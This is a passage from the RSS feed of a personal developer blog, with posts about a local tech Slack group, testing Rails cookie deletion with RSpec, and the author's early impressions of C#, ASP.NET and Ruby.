these play well together.&lt;/p&gt;</description></item><item><title>Norfolk Techies! Your Local Slack Group</title><link>https://www.wormbytes.ca/2017/11/17/norfolk-techies-slack-group/</link><pubDate>Fri, 17 Nov 2017 14:04:17 +0000</pubDate><author>Robert James Kaes</author><guid>https://www.wormbytes.ca/2017/11/17/norfolk-techies-slack-group/</guid><description>&lt;p&gt;&lt;img src="https://www.norfolkcounty.ca/wp-content/uploads/2012/12/CountyMapColour-8x11_Thumb.png" alt="Map of Norfolk County, Ontario"&gt;&lt;/p&gt;
&lt;p&gt;As a remote worker in a rural community, I&amp;rsquo;ve found it difficult to find other
technology workers in the area. After speaking with
&lt;a href="https://www.slaght.ca"&gt;Brett&lt;/a&gt;, we decided to start the
&lt;a href="https://norfolk-techies.slack.com/"&gt;Norfolk Techies&lt;/a&gt;
&lt;a href="https://slack.com"&gt;Slack&lt;/a&gt; group.&lt;/p&gt;
&lt;p&gt;If you&amp;rsquo;re a technology worker in the
&lt;a href="https://en.wikipedia.org/wiki/Norfolk_County,_Ontario"&gt;Norfolk County&lt;/a&gt; area
please contact &lt;a href="https://www.slaght.ca"&gt;Brett&lt;/a&gt; or
&lt;a href="https://twitter.com/rjkaes"&gt;myself&lt;/a&gt; for an invitation link.&lt;/p&gt;</description></item><item><title>Checking for Cookie Deletion by a Rails Controller with RSpec</title><link>https://www.wormbytes.ca/2014/04/15/checking-for-cookie-deletion-by-a-rails-controller-with-rspec/</link><pubDate>Tue, 15 Apr 2014 12:00:00 +0000</pubDate><author>Robert James Kaes</author><guid>https://www.wormbytes.ca/2014/04/15/checking-for-cookie-deletion-by-a-rails-controller-with-rspec/</guid><description>&lt;p&gt;Today I needed to prove that my Rails controller method deleted a cookie. After Googling for the answer (without success), I came up with the following.&lt;/p&gt;
&lt;p&gt;Within your controller:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;cookies.delete(&amp;#39;cookie-to-delete&amp;#39;)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In your controller spec you can check that the cookie was deleted with:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;expect(response.cookies).to include(&amp;#39;cookie-to-delete&amp;#39; =&amp;gt; nil)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Rails sets the cookies to be deleted to a value of nil. By checking for the presence of both the cookie name with a value of nil, you can ensure your controller code deleted the cookie.&lt;/p&gt;</description></item><item><title>Learning C# and ASP.NET</title><link>https://www.wormbytes.ca/2005/03/29/learning-c-sharp-and-asp-net/</link><pubDate>Tue, 29 Mar 2005 17:52:09 +0000</pubDate><author>Robert James Kaes</author><guid>https://www.wormbytes.ca/2005/03/29/learning-c-sharp-and-asp-net/</guid><description>&lt;p&gt;&lt;a href="http://www.sidx.com/" title="Brett Slaght"&gt;Brett&lt;/a&gt; would be so proud of me. Over the past couple of days I&amp;rsquo;ve
been learning &lt;a href="http://msdn.microsoft.com/vc-sharp/" title="C#"&gt;C#&lt;/a&gt; and &lt;a href="http://asp.net" title="ASP.NET"&gt;ASP&lt;/a&gt;. &lt;a href="http://msdn.microsoft.com/vc-sharp/" title="C#"&gt;C#&lt;/a&gt; has that Visual
Basic tinged Java feel to it, while &lt;a href="http://asp.net" title="ASP.NET"&gt;ASP&lt;/a&gt; seems unlike anything else I&amp;rsquo;ve
worked with before.&lt;/p&gt;
&lt;p&gt;While I&amp;rsquo;m not a big fan of Java, I think I might be able to tolerate
working with &lt;a href="http://msdn.microsoft.com/vc-sharp/" title="C#"&gt;C#&lt;/a&gt; and &lt;a href="http://asp.net" title="ASP.NET"&gt;ASP&lt;/a&gt;. &lt;a href="http://www.sidx.com/" title="Brett Slaght"&gt;Brett&lt;/a&gt; has talked about
us doing some Windows application, so these technologies should make
that part easier than coding with either MFC (shudder) or the raw
Win32API. The part I&amp;rsquo;m not thrilled about is the 25MB &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=262D25E3-F589-4842-8157-034D1E7CF3A3&amp;amp;displaylang=en" title=".NET"&gt;.NET&lt;/a&gt; download.
I know it will be part of future Windows releases, and that most people
have already downloaded it through Windows Update, but I still have a
problem requiring a 25MB download just to use an application I write
for Windows.&lt;/p&gt;
&lt;p&gt;I guess it&amp;rsquo;s trading a huge-client size download against the lowered
development time and effort. Maybe I&amp;rsquo;m just being old fashioned. In
this age of multi-gigabyte hard drives, 25MB doesn&amp;rsquo;t seem that bad. There
is definitely a contrast between when I develop for Windows and when I
develop using industrial micro-controllers (like the &lt;a href="http://www.microchip.com/" title="Microchip"&gt;Microchip&lt;/a&gt; PICs,
often with less than 16KB of total program space!)&lt;/p&gt;</description></item><item><title>Exploring Ruby</title><link>https://www.wormbytes.ca/2005/03/17/exploring-ruby/</link><pubDate>Thu, 17 Mar 2005 15:06:54 +0000</pubDate><author>Robert James Kaes</author><guid>https://www.wormbytes.ca/2005/03/17/exploring-ruby/</guid><description>&lt;p&gt;I looked into &lt;a href="http://www.rubyonrails.org" title="Ruby on Rails"&gt;Ruby on Rails&lt;/a&gt; a few weeks ago after seeing it discussed
on &lt;a href="http://slashdot.org"&gt;Slashdot&lt;/a&gt; and &lt;a href="http://www.perlmonks.org"&gt;Perl Monks&lt;/a&gt;. There are some interesting
ideas in &lt;a href="http://www.rubyonrails.org" title="Ruby on Rails"&gt;Ruby on Rails&lt;/a&gt;, so I thought it would be a good idea to
explore &lt;a href="http://www.ruby-lang.org"&gt;Ruby&lt;/a&gt; itself. It feels very much like &lt;a href="http://www.perl.org"&gt;Perl&lt;/a&gt;, as
members of &lt;a href="http://www.perlmonks.org"&gt;Perl Monks&lt;/a&gt; have mentioned in other posts there.&lt;/p&gt;
&lt;p&gt;To get my head around &lt;a href="http://www.ruby-lang.org"&gt;Ruby&lt;/a&gt; I looked at the free online
book, &lt;a href="http://www.rubycentral.com/book/index.html"&gt;Programming Ruby&lt;/a&gt;. It&amp;rsquo;s a very easy read, and I think I got
up to speed fairly quickly. I don&amp;rsquo;t think &lt;a href="http://www.ruby-lang.org"&gt;Ruby&lt;/a&gt; will
replace &lt;a href="http://www.perl.org"&gt;Perl&lt;/a&gt; as my language of choice right now, but I do
admit to being intrigued by the idea of passing blocks around.
It feels very natural.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ve stolen a few ideas from &lt;a href="http://www.rubyonrails.org" title="Ruby on Rails"&gt;Ruby on Rails&lt;/a&gt; that I have now
reimplemented in my &lt;a href="http://www.template-toolkit.org"&gt;Template Toolkit&lt;/a&gt; based webapp framework. Good
ideas are good regardless of the language.&lt;/p&gt;</description></item></channel></rss>